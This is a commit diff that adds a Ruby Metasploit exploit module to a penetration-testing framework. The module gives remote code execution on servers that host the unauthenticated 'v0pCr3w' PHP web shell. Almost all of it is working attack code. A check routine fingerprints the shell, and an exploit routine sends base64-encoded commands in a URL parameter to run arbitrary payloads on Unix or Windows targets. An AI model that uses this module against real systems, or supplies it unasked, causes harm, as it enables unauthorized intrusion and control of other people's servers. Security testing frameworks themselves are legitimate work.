Added v0pCr3w webshell remote command execution module

Author: bwall

modules/exploits/multi/misc/v0pCr3w_exec.rb

@@ -0,0 +1,76 @@
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+
+	include Msf::Exploit::Remote::HttpClient
+
+	def initialize(info={})
+		super(update_info(info,
+			'Name'           => '"v0pCr3w" Web Shell Remote Code Execution',
+			'Description'    => %q{
+				This module exploits a lack of authentication in the shell developed by v0pCr3w
+				and is widely reused in automated RFI payloads.  This module takes advantage of the
+				shell's various methods to execute commands.
+			},
+			'License'        => MSF_LICENSE,
+			'Author'         =>
+				[
+					'bwall <bwall[at]openbwall.com>',  # vuln discovery & msf module
+				],
+			'References'     =>
+				[
+					['URL', 'https://defense.ballastsecurity.net/wiki/index.php/V0pCr3w_shell'],
+					['URL', 'https://defense.ballastsecurity.net/decoding/index.php?hash=f6b534edf37c3cc0aa88997810daf9c0'],
+				],
+			'Privileged'     => false,
+			'Payload'        =>
+				{
+					'Space'    => 2000,
+					'BadChars' => '',
+					'DisableNops' => true,
+					'Compat'      =>
+						{
+							'PayloadType' => 'cmd',
+						}
+				},
+			'Platform'       => ['unix', 'win'],
+			'Arch'           => ARCH_CMD,
+			'Targets'        => [['Automatic',{}]],
+			'DisclosureDate' => 'March 23 2013',
+			'DefaultTarget'  => 0))
+
+		register_options(
+			[
+				OptString.new('URI',[true, "The path to the v0pCr3w shell", "/"]),
+			],self.class)
+	end
+
+	def check
+		uri = normalize_uri(datastore['URI'])
+		uri += "?lol=1"
+
+		shell = send_request_raw({'uri' => uri}, 25)
+		if (shell and shell.body =~ /v0pCr3w\<br\>/ and shell.body =~ /\<br\>nob0dyCr3w/)
+			return Exploit::CheckCode::Vulnerable
+		end
+		return Exploit::CheckCode::Safe
+	end
+
+	def http_send_command(cmd, opts = {})
+		p = Rex::Text.uri_encode(Rex::Text.encode_base64(cmd))
+		uri = normalize_uri(datastore['URI'])
+		uri += '?osc=' + p
+		res = send_request_raw({'uri' => uri}, 25)
+		if not (res and res.code == 200)
+			fail_with(Exploit::Failure::Unknown, 'Failed to execute the command.')
+		end
+	end
+
+	def execute_command(cmd, opts = {})
+		http_send_command("#{cmd}")
+	end
+
+	def exploit
+		http_send_command(payload.encoded)
+	end
+end